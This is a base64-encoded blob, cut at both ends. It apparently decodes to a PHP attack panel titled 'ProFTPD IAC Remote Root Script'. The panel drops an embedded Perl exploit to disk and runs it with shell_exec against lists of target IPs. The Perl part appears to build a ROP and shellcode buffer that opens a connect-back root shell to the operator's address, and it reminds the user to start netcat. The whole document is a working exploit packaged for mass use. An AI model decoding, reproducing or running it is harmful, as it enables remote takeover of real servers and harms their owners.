dld29KQ1Fra1lXUmtjakVnUFNBa2F5c2sNCiAgICBkaXN4TmpzS0NRa0tDUWtKSkcxbGJXTndlU0E5SUhWdWNHRmpheWdpU1NJc0lITjFZbk4wY2lna1luVm1aaXdnSkhZck1UTXNJRFFwDQogICAgS1RzS0NRa0pKRzFsYldOd2VTQTlJQ1JoWkdSeU1TQXRJQ2d3ZUdabVptWm1abVptTFNSdFpXMWpjSGtwT3dvSkNRbHdjbWx1ZEdZZw0KICAgIEltMWxiV053ZVNCcGN5QnNiMk5oZEdWa0lHRjBJQ1V3T0hoY2JpSXNJQ1J0WlcxamNIazdDZ2tKZlNCbGJITmxJSHNLQ1FscFppQW8NCiAgICBLQ1IySUQwZ2FXNWtaWGdnSkdKMVptWXNJQ0pjZURnNVhIZzNRMXg0TWpSY2VEQTBYSGc0T1Z4NE1VTmNlREkwWEhnNE9WeDRORFJjDQogICAgZURJMFhIZ3dPQ0lwSUQ0OUlEQXBJSHNLQ1FrSkpHRmtaSEl4SUQwZ0pHc3JKSFlyTVRVN0Nna0pDZ2tKQ1NSdFpXMWpjSGtnUFNCMQ0KICAgIGJuQmhZMnNvSWtraUxDQnpkV0p6ZEhJb0pHSjFabVlzSUNSMkt6RXlMQ0EwS1NrN0Nna0pDU1J0WlcxamNIa2dQU0FrWVdSa2NqRWcNCiAgICBMU0FvTUhobVptWm1abVptWmkwa2JXVnRZM0I1S1RzS0NRa0pjSEpwYm5SbUlDSnRaVzFqY0hrZ2FYTWdiRzlqWVhSbFpDQmhkQ0FsDQogICAgTURoNFhHNGlMQ0FrYldWdFkzQjVPd29KQ2drSmZRa2daV3h6WlNCN0Nna0phV1lnS0Nna2RpQTlJR2x1WkdWNElDUmlkV1ptTENBaQ0KICAgIFhIZzRRbHg0TlRWY2VERXdYSGc0T1Z4NE56UmNlREkwWEhnd05GeDRPRGxjZURBMFhIZ3lORng0T0RsY2VEVTBYSGd5TkZ4NE1EZ2kNCiAgICBLU0ErUFNBd0tTQjdDZ2tKQ1NSaFpHUnlNU0E5SUNSckt5UjJLekU0T3dvSkNRa2tiV1Z0WTNCNUlEMGdkVzV3WVdOcktDSkpJaXdnDQogICAgYzNWaWMzUnlLQ1JpZFdabUxDQWtkaXN4TlN3Z05Da3BPd29KQ1Fra2JXVnRZM0I1SUQwZ0pHRmtaSEl4SUMwZ0tEQjRabVptWm1abQ0KICAgIFptWXRKRzFsYldOd2VTazdDZ2tKQ1hCeWFXNTBaaUFpYldWdFkzQjVJR2x6SUd4dlkyRjBaV1FnWVhRZ0pUQTRlRnh1SWl3Z0pHMWwNCiAgICBiV053ZVRzS0NRbDlJR1ZzYzJVZ2V3b0pDUWtLQ1FrSmNISnBiblFnSWtOdmRXeGtJRzV2ZENCbWFXNWtJRzFsYldOd2VTZ3BYRzRpDQogICAgT3dvSkNRbGxlR2wwT3drS0NRbDlDZ2tKZlFvSkNYMEtDUWw5Q1FvSmZRb0pDZ2xwWmlBb0tDUjJJRDBnYVc1a1pYZ2dKR0oxWm1Zcw0KICAgIElDSmNlR1pqWEhnNFlpSXBJRDQ5SURBcElIc0tDUWtrWW5sMFpURWdQU0FrYXlza2Rqc0tDUWx3Y21sdWRHWWdLQ0ppZVhSbE1Ub2cNCiAgICBKVEE0ZUZ4dUlpd2dKR0o1ZEdVeEtUc0pDZ2w5SUdWc2MyVWdld29KQ1hCeWFXNTBJQ0pEYjNWc1pDQnViM1FnWm1sdVpDQmhJSE53DQogICAgWldOcFlXd2dZbmwwWlZ4dUlqc0tDUWxsZUdsME93a0tDWDBLQ1FvSmFXWWdLQ2drZGlBOUlHbHVaR1Y0SUNSaWRXWm1MQ0FpWEhobQ0KICAgIE5DSXBJRDQ5SURBcElIc0tDUWtrWW5sMFpUSWdQU0FrYXlza2Rqc0tDUWx3Y21sdWRHWWdLQ0ppZVhSbE1qb2dKVEE0ZUZ4dUlpd2cNCiAgICBKR0o1ZEdVeUtUc0tDWDBnWld4elpTQjdDZ2tKY0hKcGJuUWdJa052ZFd4a0lHNXZkQ0JtYVc1a0lHRWdjM0JsWTJsaGJDQmllWFJsDQogICAgWEc0aU93b0pDV1Y0YVhRN0NRb0pmUW9KQ2dscFppQW9LQ1IySUQwZ2FXNWtaWGdnSkdKMVptWXNJQ0pjZUdKbUlpa2dQajBnTUNrZw0KICAgIGV3b0pDU1JpZVhSbE15QTlJQ1JyS3lSMk93b0pDWEJ5YVc1MFppQW9JbUo1ZEdVek9pQWxNRGg0WEc0aUxDQWtZbmwwWlRNcE93a0sNCiAgICBDWDBnWld4elpTQjdDZ2tKY0hKcGJuUWdJa052ZFd4a0lHNXZkQ0JtYVc1a0lHRWdjM0JsWTJsaGJDQmllWFJsWEc0aU93b0pDV1Y0DQogICAgYVhRN0NRb0pmUW9KQ2dscFppQW9LQ1IySUQwZ2FXNWtaWGdnSkdKMVptWXNJQ0pjZURBd1hIZ3dNVng0TURBaUtTQStQU0F3S1NCNw0KICAgIENna0pKR0o1ZEdVMElEMGdKR3NySkhZN0Nna0pjSEpwYm5SbUlDZ2lZbmwwWlRRNklDVXdPSGhjYmlJc0lDUmllWFJsTkNrN0NRb0oNCiAgICBmU0JsYkhObElIc0tDUWx3Y21sdWRDQWlRMjkxYkdRZ2JtOTBJR1pwYm1RZ1lTQnpjR1ZqYVdGc0lHSjVkR1ZjYmlJN0Nna0paWGhwDQogICAgZERzSkNnbDlDZ29KYVdZZ0tDZ2tkaUE5SUdsdVpHVjRJQ1JpZFdabUxDQWlYSGd4TUNJcElENDlJREFwSUhzS0NRa2tZbmwwWlRVZw0KICAgIFBTQWtheXNrZGpzS0NRbHdjbWx1ZEdZZ0tDSmllWFJsTlRvZ0pUQTRlRnh1SWl3Z0pHSjVkR1UxS1RzSkNnbDlJR1ZzYzJVZ2V3b0oNCiAgICBDWEJ5YVc1MElDSkRiM1ZzWkNCdWIzUWdabWx1WkNCaElITndaV05wWVd3Z1lubDBaVnh1SWpzS0NRbGxlR2wwT3drS0NYMEtDUW9KDQogICAgYVdZZ0tDZ2tkaUE5SUdsdVpHVjRJQ1JpZFdabUxDQWlYSGhDT1Z4NE1EQmNlREF5WEhnd01GeDRNREFpS1NBK1BTQXdLU0I3Q2drSg0KICAgIEpHSjVkR1UySUQwZ0pHc3JKSFk3Q2drSmNISnBiblJtSUNnaVlubDBaVFk2SUNVd09IaGNiaUlzSUNSaWVYUmxOaWs3Q1FvSmZTQmwNCiAgICBiSE5sSUhzS0NRbHdjbWx1ZENBaVEyOTFiR1FnYm05MElHWnBibVFnWVNCemNHVmphV0ZzSUdKNWRHVmNiaUk3Q2drSlpYaHBkRHNKDQogICAgQ2dsOUNna0tDZ2xwWmlBb0tDUjJJRDBnYVc1a1pYZ2dKR0oxWm1Zc0lDSmNlR1l6SWlrZ1BqMGdNQ2tnZXdvSkNTUmllWFJsTnlBOQ0KICAgIElDUnJLeVIyT3dvSkNYQnlhVzUwWmlBb0ltSjVkR1UzT2lBbE1EaDRYRzRpTENBa1lubDBaVGNwT3drS0NYMGdaV3h6WlNCN0Nna0oNCiAgICBjSEpwYm5RZ0lrTnZkV3hrSUc1dmRDQm1hVzVrSUdFZ2MzQmxZMmxoYkNCaWVYUmxYRzRpT3dvSkNXVjRhWFE3Q1FvSmZRb0pDZ2xwDQogICAgWmlBb0tDUjJJRDBnYVc1a1pYZ2dKR0oxWm1Zc0lDSmNlRUUwSWlrZ1BqMGdNQ2tnZXdvSkNTUmllWFJsT0NBOUlDUnJLeVIyT3dvSg0KICAgIENYQnlhVzUwWmlBb0ltSjVkR1U0T2lBbE1EaDRYRzRpTENBa1lubDBaVGdwT3dvSmZTQmxiSE5sSUhzS0NRbHdjbWx1ZENBaVEyOTENCiAgICBiR1FnYm05MElHWnBibVFnWVNCemNHVmphV0ZzSUdKNWRHVmNiaUk3Q2drSlpYaHBkRHNKQ2dsOUNna0tDV2xtSUNnb0pIWWdQU0JwDQogICAgYm1SbGVDQWtZblZtWml3Z0lseDRaV0pjZUdabUlpa2dQajBnTUNrZ2V3b0pDU1JpZVhSbE9TQTlJQ1JyS3lSMk93b0pDWEJ5YVc1MA0KICAgIFppQW9JbUo1ZEdVNU9pQWxNRGg0WEc0aUxDQWtZbmwwWlRrcE93b0pmU0JsYkhObElIc0tDUWx3Y21sdWRDQWlRMjkxYkdRZ2JtOTANCiAgICBJR1pwYm1RZ1lTQnpjR1ZqYVdGc0lHSjVkR1ZjYmlJN0Nna0paWGhwZERzSkNnbDlDZ2tLSXlCemFHVnNiR052WkdVZ1kyOXdlU0J5DQogICAgYjNWMGFXNWxPZ29qTURFd01EYzBNRUlnSUNBZ0lFWkRJQ0FnSUNBZ0lDQWdJQ0FnSUVOTVJBb2pNREV3TURjME1FTWdJQ0FnSURoQw0KICAgIFJqUWdJQ0FnSUNBZ0lDQWdJRTFQVmlCRlUwa3NSVk5RQ2lNd01UQXdOelF3UlNBZ0lDQWdRa1lnTURBd01UQXdNVEFnSUNBZ1RVOVcNCiAgICBJRVZFU1N3eE1EQXdNREV3TUFvak1ERXdNRGMwTVRNZ0lDQWdJRUk1SURBd01ESXdNREF3SUNBZ0lFMVBWaUJGUTFnc01qQXdDaU13DQogICAgTVRBd056UXhPQ0FnSUNBZ1JqTTZRVFFnSUNBZ0lDQWdJQ0FnVWtWUUlFMVBWbE1nUWxsVVJTQlFWRklnUlZNNlcwVkVTVjBzUWxsVQ0KICAgIFJTQlFWRklnUkZNNld6NEtJd2tKQ1NBZ1JVSWdSa1lnQ1FrZ1NrMVFJQ3N3ZUVaR0NRa0tJeUJHUXlBNFFna0tJeUJHTkNCQ1Jnb2oNCiAgICBJREF3SURBeElEQXdDaU1nTVRBS0l5QkNPU0F3TUNBd01pQXdNQ0F3TUFvaklFWXpPa0UwQ2lNZ1JVSWdSa1lLQ2lNZ1JXd3hWR1VnDQogICAgV0MxUWJHOXBkQ0JVWldOb1RtbHhWV1VnS0VNcENnb0pjSEpwYm5RZ0lrSjFhV3hrYVc1bklHVjRjR3h2YVhRZ1luVm1abVZ5WEc0aQ0KICAgIE93b0tDU1J6ZEdGamF5QTlJQ0pMUTA5UVJWSlZURVZhUzBOUFVFVlNWVXhGV2t0RElpQXVJQ0pESWlCNElDUndZV1JrYVc1bklDNGcNCiAgICBDZ2tKQ1NCd1lXTnJLQ0pXSWl3Z0pHMXRZWEEyTkNrdUlDTWdiVzFoY0RZMEtDa0tDUWtKSUhCaFkyc29JbFlpTENBa2JHRnlaMlZ3DQogICAgYjNCeVpYUXBMaUFqSUdGa1pDQWdJQ0FnWlhOd0xDQXlNR2c3SUhCdmNEc2djRzl3Q2drSkNTQWlYSGd3TUZ4NE1EQmNlREF3WEhneA0KICAgIE1DSXVJQ01nYlcxaGNDQnpkR0Z5ZEFvSkNRa2dJbHg0TURCY2VERXdYSGd3TUZ4NE1EQWlMaUFqSUcxdFlYQWdjMmw2WlFvSkNRa2cNCiAgICBJbHg0TURkY2VEQXdYSGd3TUZ4NE1EQWlMaUFqSUcxdFlYQWdjSEp2ZEFvSkNRa2dJbHg0TXpKY2VEQXdYSGd3TUZ4NE1EQWlMaUFqDQogICAgSUcxdFlYQWdabXhoWjNNS0NRa0pJQ0pjZUdabVhIaG1abHg0Wm1aY2VHWm1JaTRnSXlCdGJXRndJR1prQ2drSkNTQWlYSGd3TUZ4NA0KICAgIE1EQmNlREF3WEhnd01DSXVJQ01nYlcxaGNDQnZabVp6WlhRS0NRa0pJQ0pjZURBd1hIZ3dNRng0TURCY2VEQXdJaTRnSXlCdGJXRncNCiAgICBJRzltWm5ObGRBa0pDU0FLQ1FrSklDSmNlREF3WEhnd01GeDRNREJjZURBd0lpNEtDUWtKSUNKY2VEQXdYSGd3TUZ4NE1EQmNlREF3DQogICAgSWk0S0NRa0pJQ0pjZURBd1hIZ3dNRng0TURCY2VEQXdJaTRLQ1FrSklDSmNlREF3WEhnd01GeDRNREJjZURBd0lpNEtDUWtKSUhCaA0KICAgIFkyc29JbFlpTENBa2JXVnRZM0I1S1M0Z0l5QnRaVzFqY0hrb0tRb0pDUWtnY0dGamF5Z2lWaUlzSUNSd2IzQXpjbVYwS1M0Z0l5QncNCiAgICBiM0E3SUhCdmNEc2djRzl3T3lCeVpYUnVDZ2tKQ1NBaVhIZ3dNRng0TURCY2VEQXdYSGd4TUNJdUlDTWdaR1Z6ZEdsdVlYUnBiMjRLDQogICAgQ1FrSklIQmhZMnNvSWxZaUxDQWtZbmwwWlRFcExpQWpJRzl5YVdkcGJnb0pDUWtnSWx4NE1ESmNlREF3WEhnd01GeDRNREFpTGlBag0KICAgIElHNTFiV0psY2lCdlppQmllWFJsY3lCMGJ5QmpiM0I1Q2drSkNTQUtDUWtKSUhCaFkyc29JbFlpTENBa2JXVnRZM0I1S1M0Z0l5QnQNCiAgICBaVzFqY0hrb0tRb0pDUWtnY0dGamF5Z2lWaUlzSUNSd2IzQXpjbVYwS1M0Z0l5QndiM0E3SUhCdmNEc2djRzl3T3lCeVpYUnVDZ2tKDQogICAgQ1NBaVhIZ3dNbHg0TURCY2VEQXdYSGd4TUNJdUlDTWdaR1Z6ZEdsdVlYUnBiMjRLQ1FrSklIQmhZMnNvSWxZaUxDQWtZbmwwWlRJcA0KICAgIExpQWpJRzl5YVdkcGJnb0pDUWtnSWx4NE1ERmNlREF3WEhnd01GeDRNREFpTGlBaklHNTFiV0psY2lCdlppQmllWFJsY3lCMGJ5QmoNCiAgICBiM0I1Q2dvSkNRa2djR0ZqYXlnaVZpSXNJQ1J0WlcxamNIa3BMaUFqSUcxbGJXTndlU2dwQ2drSkNTQndZV05yS0NKV0lpd2dKSEJ2DQogICAgY0ROeVpYUXBMaUFqSUhCdmNEc2djRzl3T3lCd2IzQTdJSEpsZEc0S0NRa0pJQ0pjZURBelhIZ3dNRng0TURCY2VERXdJaTRnSXlCaw0KICAgIFpYTjBhVzVoZEdsdmJnb0pDUWtnY0dGamF5Z2lWaUlzSUNSaWVYUmxNeWt1SUNNZ2IzSnBaMmx1Q2drSkNTQWlYSGd3TVZ4NE1EQmMNCiAgICBlREF3WEhnd01DSXVJQ01nYm5WdFltVnlJRzltSUdKNWRHVnpJSFJ2SUdOdmNIa0tDUWtKSUFrSkNTQUtDUWtKSUhCaFkyc29JbFlpDQogICAgTENBa2JXVnRZM0I1S1M0Z0l5QnRaVzFqY0hrb0tRb0pDUWtnY0dGamF5Z2lWaUlzSUNSd2IzQXpjbVYwS1M0Z0l5QndiM0E3SUhCdg0KICAgIGNEc2djRzl3T3lCeVpYUnVDZ2tKQ1NBaVhIZ3dORng0TURCY2VEQXdYSGd4TUNJdUlDTWdaR1Z6ZEdsdVlYUnBiMjRLQ1FrSklIQmgNCiAgICBZMnNvSWxZaUxDQWtZbmwwWlRRcExpQWpJRzl5YVdkcGJnb0pDUWtnSWx4NE1ETmNlREF3WEhnd01GeDRNREFpTGlBaklHNTFiV0psDQogICAgY2lCdlppQmllWFJsY3lCMGJ5QmpiM0I1Q2drSkNTQUtDUWtKSUhCaFkyc29JbFlpTENBa2JXVnRZM0I1S1M0Z0l5QnRaVzFqY0hrbw0KICAgIEtRb0pDUWtnY0dGamF5Z2lWaUlzSUNSd2IzQXpjbVYwS1M0Z0l5QndiM0E3SUhCdmNEc2djRzl3T3lCeVpYUnVDZ2tKQ1NBaVhIZ3cNCiAgICBOMXg0TURCY2VEQXdYSGd4TUNJdUlDTWdaR1Z6ZEdsdVlYUnBiMjRLQ1FrSklIQmhZMnNvSWxZaUxDQWtZbmwwWlRVcExpQWpJRzl5DQogICAgYVdkcGJnb0pDUWtnSWx4NE1ERmNlREF3WEhnd01GeDRNREFpTGlBaklHNTFiV0psY2lCdlppQmllWFJsY3lCMGJ5QmpiM0I1Q2drSg0KICAgIENTQUtDUWtKSUhCaFkyc29JbFlpTENBa2JXVnRZM0I1S1M0Z0l5QnRaVzFqY0hrb0tRb0pDUWtnY0dGamF5Z2lWaUlzSUNSd2IzQXoNCiAgICBjbVYwS1M0Z0l5QndiM0E3SUhCdmNEc2djRzl3T3lCeVpYUnVDZ2tKQ1NBaVhIZ3dPRng0TURCY2VEQXdYSGd4TUNJdUlDTWdaR1Z6DQogICAgZEdsdVlYUnBiMjRLQ1FrSklIQmhZMnNvSWxZaUxDQWtZbmwwWlRZcExpQWpJRzl5YVdkcGJnb0pDUWtnSWx4NE1EVmNlREF3WEhndw0KICAgIE1GeDRNREFpTGlBaklHNTFiV0psY2lCdlppQmllWFJsY3lCMGJ5QmpiM0I1Q2dvSkNRa2djR0ZqYXlnaVZpSXNJQ1J0WlcxamNIa3ANCiAgICBMaUFqSUcxbGJXTndlU2dwQ2drSkNTQndZV05yS0NKV0lpd2dKSEJ2Y0ROeVpYUXBMaUFqSUhCdmNEc2djRzl3T3lCd2IzQTdJSEpsDQogICAgZEc0S0NRa0pJQ0pjZURCa1hIZ3dNRng0TURCY2VERXdJaTRnSXlCa1pYTjBhVzVoZEdsdmJnb0pDUWtnY0dGamF5Z2lWaUlzSUNSaQ0KICAgIGVYUmxOeWt1SUNNZ2IzSnBaMmx1Q2drSkNTQWlYSGd3TVZ4NE1EQmNlREF3WEhnd01DSXVJQ01nYm5WdFltVnlJRzltSUdKNWRHVnoNCiAgICBJSFJ2SUdOdmNIa0tDZ2tKQ1NCd1lXTnJLQ0pXSWl3Z0pHMWxiV053ZVNrdUlDTWdiV1Z0WTNCNUtDa0tDUWtKSUhCaFkyc29JbFlpDQogICAgTENBa2NHOXdNM0psZENrdUlDTWdjRzl3T3lCd2IzQTdJSEJ2Y0RzZ2NtVjBiZ29KQ1FrZ0lseDRNR1ZjZURBd1hIZ3dNRng0TVRBaQ0KICAgIExpQWpJR1JsYzNScGJtRjBhVzl1Q2drSkNTQndZV05yS0NKV0lpd2dKR0o1ZEdVNEtTNGdJeUJ2Y21sbmFXNEtDUWtKSUNKY2VEQXgNCiAgICBYSGd3TUZ4NE1EQmNlREF3SWk0Z0l5QnVkVzFpWlhJZ2IyWWdZbmwwWlhNZ2RHOGdZMjl3ZVFvSkNRa2dDZ2tKQ1NCd1lXTnJLQ0pXDQogICAgSWl3Z0pHMWxiV053ZVNrdUlDTWdiV1Z0WTNCNUtDa0tDUWtKSUhCaFkyc29JbFlpTENBa2NHOXdNM0psZENrdUlDTWdjRzl3T3lCdw0KICAgIGIzQTdJSEJ2Y0RzZ2NtVjBiZ29KQ1FrZ0lseDRNR1pjZURBd1hIZ3dNRng0TVRBaUxpQWpJR1JsYzNScGJtRjBhVzl1Q2drSkNTQncNCiAgICBZV05yS0NKV0lpd2dKR0o1ZEdVNUtTNGdJeUJ2Y21sbmFXNEtDUWtKSUNKY2VEQXlYSGd3TUZ4NE1EQmNlREF3SWk0Z0l5QnVkVzFpDQogICAgWlhJZ2IyWWdZbmwwWlhNZ2RHOGdZMjl3ZVFvSkNRa2dDZ2tKQ1NBaVhIZ3dNRng0TURCY2VEQXdYSGd4TUNJdUlDTWdTbFZOVUNCVQ0KICAgIFR5QXdlREV3TURBd01EQXdJSEozZUhBZ1lXUmtjbVZ6Y3drSkNTQUtDZ2tKQ1NBaVhIZzVNQ0lnZUNBeE1EQWdMaUFrYzJobGJHeGoNCiAgICBiMlJsSUM0Z0lseDRPVEFpSUhnZ01UQTdDUWtLQ1FvSmNISnBiblFnSWxObGJtUnBibWNnWlhod2JHOXBkQ0JpZFdabVpYSWhYRzRpDQogICAgT3dvSkNnbHRlU0FrYzI5amF5QTlJRWxQT2pwVGIyTnJaWFE2T2tsT1JWUXRQbTVsZHloUVpXVnlRV1JrY2lBOVBpQWtkR0Z5WjJWMA0KICAgIExBb2dJQ0FnSUNBSklDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNCUVpXVnlVRzl5ZENBOVBpQXlNU3dLSUNBZ0lDQWcNCiAgICBJQ0FnSUNBSkNTQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lGQnliM1J2SUNBZ0lEMCtJQ2QwWTNBbktUc0pDUWtKSUFvSkpIWWdQU0E4DQogICAgSkhOdlkycytPd29LQ1hCeWFXNTBJQ1J6YjJOcklDSmNlREF3SWlCNElDUmhiR2xuYmlBdUlDSmNlR1ptSWlBdUlDUnpkR0ZqYXlBdQ0KICAgIElDSmNiaUk3Q2drS0NYQnlhVzUwSUNKRGFHVmpheUI1YjNWeUlHNWxkR05oZEQ5Y2JpSTdDZ2tLQ1hkb2FXeGxLRHdrYzI5amF6NHANCiAgICBJSHNLQ1Fsd2NtbHVkRHNKQ2dsOUNRa0pJQXA5Q2dwemRXSWdkWE5oWjJVb0tTQjdDZ2x3Y21sdWRDQWlkM0pwZEhSbGJpQmllU0JyDQogICAgYVc1blkyOXdaVnh1SWpzS0lBbHdjbWx1ZENBaWRYTmhaMlU2WEc0aUxnb2dDUWtnSUNKd2NtOXlaVzF2ZEdVdWNHd2dQSFJoY21kbA0KICAgIGRDQnBjQzlvYjNOMFBpQThlVzkxY2lCcGNENGdQSFJoY21kbGRDQjBlWEJsUGx4dVhHNGlPd29nSUNBZ1ptOXlJQ2drYVQwd095QWsNCiAgICBhVHdrYm5WdGRHRnlaMlYwY3pzZ0pHa3JLeWtnZXdvZ0lBa0pjSEpwYm5RZ0lseDBXeUl1SkdrdUlsMWNkQ0l1SUNSMFlYSm5aWFJ6DQogICAgV3lScFhWc3dYUzRnSWx4eVhHNGlPd29nSUNBZ2ZRb2dDUWtnSUFwbGVHbDBPd3A5Q2dwcFppQW9KQ05CVWtkV0lHNWxJRElwSUhzZw0KICAgIGRYTmhaMlU3SUgwS0NpUjBZWEpuWlhRZ1BTQWtRVkpIVmxzd1hUc0tKR05pYVhBZ1BTQWtRVkpIVmxzeFhUc0tKSFIwZVhCbElEMGcNCiAgICBKRUZTUjFaYk1sMDdDZ29rY0d4aGRHWnZjbTBnUFNBa2RHRnlaMlYwYzFza2RIUjVjR1ZkV3pGZE93b2tjM1I1YkdVZ1BTQWtkR0Z5DQogICAgWjJWMGMxc2tkSFI1Y0dWZFd6SmRPd29LS0NSaE1Td2dKR0V5TENBa1lUTXNJQ1JoTkNrZ1BTQnpjR3hwZENndkx5d2daMlYwYUc5eg0KICAgIGRHSjVibUZ0WlNnaUpHTmlhWEFpS1NrN0NncHBaaUFvSkhCc1lYUm1iM0p0SUdWeElDSkdjbVZsUWxORUlpa2dld29KSkhOb1pXeHMNCiAgICBZMjlrWlNBOUlDUmljMlJqWW5Oak93b0pjM1ZpYzNSeUtDUnphR1ZzYkdOdlpHVXNJRE0zTENBMExDQWtZVEVnTGlBa1lUSWdMaUFrDQogICAgWVRNZ0xpQWtZVFFwT3dwOUlHVnNjMlVnZXlBS2FXWWdLQ1J3YkdGMFptOXliU0JsY1NBaVRHbHVkWGdpS1NCN0Nna2tjMmhsYkd4ag0KICAgIGIyUmxJRDBnSkd4dWVHTmljMk03Q2dsemRXSnpkSElvSkhOb1pXeHNZMjlrWlN3Z016RXNJRFFzSUNSaE1TQXVJQ1JoTWlBdUlDUmgNCiAgICBNeUF1SUNSaE5DazdDbjBnWld4elpTQjdDZ2x3Y21sdWRDQWlkSGx3YnlBL1hHNGlPd29KWlhocGREc0tmWDBLQ21sbUlDZ2tjM1I1DQogICAgYkdVZ1pYRWdNQ2tnZXdvSlpYaHdiRzlwZERFN0NuMGdaV3h6WlNCN0NnbGxlSEJzYjJsME1qc0pDbjBLQ25CeWFXNTBJQ0prYjI1bA0KICAgIExseHVJanNLWlhocGREcz0nOw0KICAgICANCiAgICAkZmlsZSA9IGZvcGVuKCJwcm9mdHBkLnBsIiAsIncrIik7DQogICAgJHdyaXRlID0gZndyaXRlICgkZmlsZSAsYmFzZTY0X2RlY29kZSgkcHJvZnRwKSk7DQogICAgZmNsb3NlKCRmaWxlKTsNCiAgICAgDQogICAgY2xhc3MgcHJvZnRwZHsNCiAgICAgDQogICAgcHVibGljIGZ1bmN0aW9uIHBlcmwoJGlwbGVyLCRpcGFkcmVzaW4sJHNheWkpew0KICAgICANCiAgICAgDQogICAgJGNhbGlzdGlyPXNoZWxsX2V4ZWMoInBlcmwgcHJvZnRwZC5wbCAiLiRpcGxlci4iICIuJGlwYWRyZXNpbi4iICIuJHNheWkuIiIpOw0KICAgICANCiAgICAgDQogICAgZWNobyAiPGZvbnQgc2l6ZT0nMycgY29sb3I9J3doaXRlJz4iLiRjYWxpc3Rpci4iPC9mb250Pjxicj4iOw0KICAgIG9iX2ZsdXNoKCk7DQogICAgZmx1c2goKTsNCiAgICAgDQogICAgIA0KICAgIH0NCiAgICAgDQogICAgfQ0KICAgICANCiAgICAgDQogICAgZWNobyAnPGNlbnRlcj48dGl0bGU+UHJvRlRQRCBJQUMgUmVtb3RlIFJvb3QgU2NyaXB0IC0gPC90aXRsZT4NCiAgICA8Ym9keSBiZ2NvbG9yPSJibGFjayI+DQogICAgPGZvcm0gbWV0aG9kPSJwb3N0IiBhY3Rpb249IiI+DQogICAgPGZvbnQgc2l6ZT0iNSIgY29sb3I9InJlZCI+UmVkc2VjdXJpdHk8L2ZvbnQ+IDxmb250IHNpemU9IjUiIGNvbG9yPSJ3aGl0ZSI+UHJvRlRQRCBJQUMgUmVtb3RlIFJvb3QgU2NyaXB0W1ByaXY4XTwvZm9udD48YnI+PGJyPjxmb250IHNpemU9IjIiIGNvbG9yPSJ3aGl0ZSI+SXBsZXIgOiA8L2ZvbnQ+PGJyPjx0ZXh0YXJlYSBuYW1lPSJpcGxlciIgY29scz0iMzUiIHJvd3M9IjUiPjwvdGV4dGFyZWE+PGJyPg0KICAgIDxmb250IHNpemU9IjIiIGNvbG9yPSJ3aGl0ZSI+U2XnaW0gOiA8L2ZvbnQ+PGJyPjxzZWxlY3QgbmFtZT0ic2VjaW0iPg0KICAgIDxvcHRpb24gdmFsdWU9IjAiPjA8L29wdGlvbj4NCiAgICA8b3B0aW9uIHZhbHVlPSIxIj4xPC9vcHRpb24+DQogICAgPG9wdGlvbiB2YWx1ZT0iMiI+Mjwvb3B0aW9uPg0KICAgIDxvcHRpb24gdmFsdWU9IjMiPjM8L29wdGlvbj4NCiAgICA8b3B0aW9uIHZhbHVlPSI0Ij40PC9vcHRpb24+DQogICAgPG9wdGlvbiB2YWx1ZT0iNSI+NTwvb3B0aW9uPg0KICAgIDxvcHRpb24gdmFsdWU9IjYiPjY8L29wdGlvbj4NCiAgICA8b3B0aW9uIHZhbHVlPSI3Ij43PC9vcHRpb24+DQogICAgPG9wdGlvbiB2YWx1ZT0iOCI+ODwvb3B0aW9uPg0KICAgIDxvcHRpb24gdmFsdWU9IjkiPjk8L29wdGlvbj4NCiAgICA8b3B0aW9uIHZhbHVlPSIxMCI+MTA8L29wdGlvbj4NCiAgICA8b3B0aW9uIHZhbHVlPSIxMSI+MTE8L29wdGlvbj4NCiAgICA8b3B0aW9uIHZhbHVlPSIxMiI+MTI8L29wdGlvbj4NCiAgICA8L3NlbGVjdD48YnI+DQogICAgPGZvbnQgc2l6ZT0iMiIgY29sb3I9IndoaXRlIj5JUCBhZHJlc2luaXogOiA8L2ZvbnQ+PGJyPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJpcGFkcmVzaW4iPjxicj4NCiAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0idzAwdCI+DQogICAgPC9mb3JtPg0KICAgIDwvYm9keT4NCiAgICA8L2NlbnRlcj4nOw0KICAgICANCiAgICAgDQogICAgaWYoISAkX1BPU1RbJ2lwbGVyJ109PSIiKXsNCiAgICAkcHJvPW5ldyBwcm9mdHBkKCk7DQogICAgIA0KICAgICRpcGFkcmVzaW49JF9QT1NUWydpcGFkcmVzaW4nXTsNCiAgICAkaXBsZXI9ZXhwbG9kZSgiXG4iLCRfUE9TVFsnaXBsZXInXSk7DQogICAgZm9yZWFjaCgkaXBsZXIgYXMgJGlwKXsNCiAgICAkaXA9dHJpbSgkaXApOw0KICAgIGlmKCRfUE9TVFsnc2VjaW0nXT09MCl7DQogICAgJHByby0+cGVybCgkaXAsJGlwYWRyZXNpbiwnMCcpOw0KICAgIH0NCiAgICBpZigkX1BPU1RbJ3NlY2ltJ109PTEpew0KICAgICRwcm8tPnBlcmwoJGlwLCRpcGFkcmVzaW4sJzEnKTsNCiAgICB9DQogICAgaWYoJF9QT1NUWydzZWNpbSddPT0yKXsNCiAgICAkcHJvLT5wZXJsKCRpcCwkaXBhZHJlc2luLCcyJyk7DQogICAgfQ0KICAgIGlmKCRfUE9TVFsnc2VjaW0nXT09Myl7DQogICAgJHByby0+cGVybCgkaXAsJGlwYWRyZXNpbiwnMycpOw0KICAgIH0NCiAgICBpZigkX1BPU1RbJ3NlY2ltJ109PTQpew0KICAgICRwcm8tPnBlcmwoJGlwLCRpcGFkcmVzaW4sJzQnKTsNCiAgICB9DQogICAgaWYoJF9QT1NUWydzZWNpbSddPT01KXsNCiAgICAkcHJvLT5wZXJsKCRpcCwkaXBhZHJlc2luLCc1Jyk7DQogICAgfQ0KICAgIGlmKCRfUE9TVFsnc2VjaW0nXT09Nil7DQogICAgJHByby0+cGVybCgkaXAsJGlwYWRyZXNpbiwnNicpOw0KICAgIH0NCiAgICBpZigkX1BPU1RbJ3NlY2ltJ109PTcpew0KICAgICRwcm8tPnBlcmwoJGlwLCRpcGFkcmVzaW4sJzcnKTsNCiAgICB9DQogICAgaWYoJF9QT1NUWydzZWNpbSddPT04KXsNCiAgICAkcHJvLT5wZXJsKCRpcCwkaXBhZHJlc2luLCc4Jyk7DQogICAgfQ0KICAgIGlmKCRfUE9TVFsnc2VjaW0nXT09OSl7DQogICAgJHByby0+cGVybCgkaXAsJGlwYWRyZXNpbiwnOScpOw0KICAgIH0NCiAgICBpZigkX1BPU1RbJ3Nl